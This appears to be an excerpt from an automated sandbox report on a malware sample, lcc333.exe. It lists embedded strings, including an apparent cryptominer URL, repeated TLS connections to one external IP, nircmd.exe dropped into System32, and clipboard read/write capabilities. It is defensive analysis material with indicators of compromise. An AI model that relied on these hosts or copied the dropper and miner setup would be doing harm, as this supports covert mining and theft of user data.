Source: lcc333.exe, 00000002.00000003.2113514834.000002B935FD1000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2113562718.000002B935FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/howto/mro.html.
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: app_process.exe, 00000023.00000000.3345847859.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: app_process.exe, 00000023.00000000.3345847859.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp String found in binary or memory: https://ec1ipse.me/miner/rewardspubkey
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: lcc333.exe, 00000002.00000003.2490746401.000002B937101000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492199056.000002B93790A000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000000.3345847859.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp String found in binary or memory: https://github.com/clap-rs/clap/issues
Source: lcc333.exe, 00000002.00000003.2490746401.000002B937101000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492199056.000002B93790A000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000000.3345847859.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp String found in binary or memory: https://github.com/clap-rs/clap/issuesI
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: lcc333.exe, 00000002.00000003.2114575582.000002B936420000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2114470386.000002B936424000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2114575582.000002B93643B000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2114530243.000002B93640F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: lcc333.exe, 00000002.00000003.2134746911.000002B936501000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2506032098.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2507260668.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503747221.000002B936500000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2497811471.000002B936501000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503555040.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2116935879.000002B936501000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487940110.000002B9364F9000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2504780607.000002B936500000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2510203246.000002B936501000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2508332077.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2494404862.000002B936501000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2506384017.000002B936500000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2117407036.000002B93688E000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2508896833.000002B936500000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2502634893.000002B936500000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2117323517.000002B936502000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2507493476.000002B936500000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2488372313.000002B9364FF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2504565907.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2502372429.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: lcc333.exe, 00000002.00000003.2495042069.000002B936895000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135546245.000002B93688F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://google.com/
Source: lcc333.exe, 00000002.00000003.2495042069.000002B936895000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135546245.000002B93688F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://google.com/mail
Source: lcc333.exe, 00000002.00000003.2494404862.000002B93656D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2117759859.000002B93656F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2116595640.000002B93656F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135259032.000002B93656D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: lcc333.exe, 00000002.00000003.2506032098.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492097568.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487940110.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2134746911.000002B936501000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2506032098.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2494404862.000002B93656D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2507260668.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2501237397.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2489080766.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2497982911.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503747221.000002B936500000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2508332077.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2502372429.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2511481302.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2499854920.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2497811471.000002B936501000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135259032.000002B93656D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2490430465.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503555040.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487940110.000002B9364F9000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2504780607.000002B936500000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://httpbin.org/get
Source: lcc333.exe, 00000002.00000003.2135546245.000002B93688F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://json.org
Source: lcc333.exe, 00000002.00000003.2116935879.000002B9364D8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: nircmd.exe, nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000000.2526970311.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000000.3340727157.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000002.3344008939.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000000.3344394477.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp String found in binary or memory: https://www.nirsoft.net
Source: nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000000.2526970311.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000000.3340727157.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000002.3344008939.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000000.3344394477.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp String found in binary or memory: https://www.nirsoft.netopenIf
Source: lcc333.exe, 00000000.00000003.2108629944.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.openssl.org/H
Source: lcc333.exe, 00000002.00000003.2506032098.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492097568.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487940110.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2501237397.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2489080766.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2497982911.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2508332077.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2502372429.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2511481302.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2499854920.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2490430465.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2116935879.000002B9364D8000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2504565907.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2498834017.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2489759927.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2134746911.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2513385112.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503555040.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2500583694.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2507260668.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491313804.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: lcc333.exe, 00000002.00000003.2507043255.000002B936936000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2134241371.000002B936936000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://wwww.certigna.fr/autorites/0m
Source: lcc333.exe, 00000002.00000003.2495042069.000002B936895000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135546245.000002B93688F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://yahoo.com/
Source: unknown Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49785 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49786 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49793 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49798 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49797 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49809 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49810 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49817 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49829 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49830 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49833 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49835 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49848 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49849 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49852 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49853 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49866 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49867 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49871 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49872 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49884 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49886 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49890 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49891 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49906 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49908 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49912 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49913 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49926 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49927 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49932 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49933 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49943 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49944 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49950 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49963 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49962 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49967 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49969 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49981 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49982 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49986 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49987 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49998 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:50001 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:50005 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:50006 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:50016 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_0000000140003460 OpenClipboard,GetClipboardData,GlobalLock,CreateFileA,SetFilePointer,GetFileSize,WriteFile,wcslen,WriteFile,WriteFile,CloseHandle,GlobalUnlock,CloseClipboard, 15_2_0000000140003460
Contains functionality to modify clipboard data
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_00000001400036C0 EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard, 15_2_00000001400036C0
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_00000001400026E4 GetObjectA,GetDC,CreateDIBitmap,ReleaseDC,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,DeleteObject, 15_2_00000001400026E4
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_0000000140001BBC memset,ReadFile,ReadFile,OpenClipboard,EmptyClipboard,RegisterClipboardFormatA,GlobalAlloc,GlobalLock,SetFilePointer,ReadFile,GlobalUnlock,SetClipboardData,CloseClipboard,CloseHandle, 15_2_0000000140001BBC
Contains functionality to read the clipboard data
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_0000000140003460 OpenClipboard,GetClipboardData,GlobalLock,CreateFileA,SetFilePointer,GetFileSize,WriteFile,wcslen,WriteFile,WriteFile,CloseHandle,GlobalUnlock,CloseClipboard, 15_2_0000000140003460
Contains functionality to record screenshots
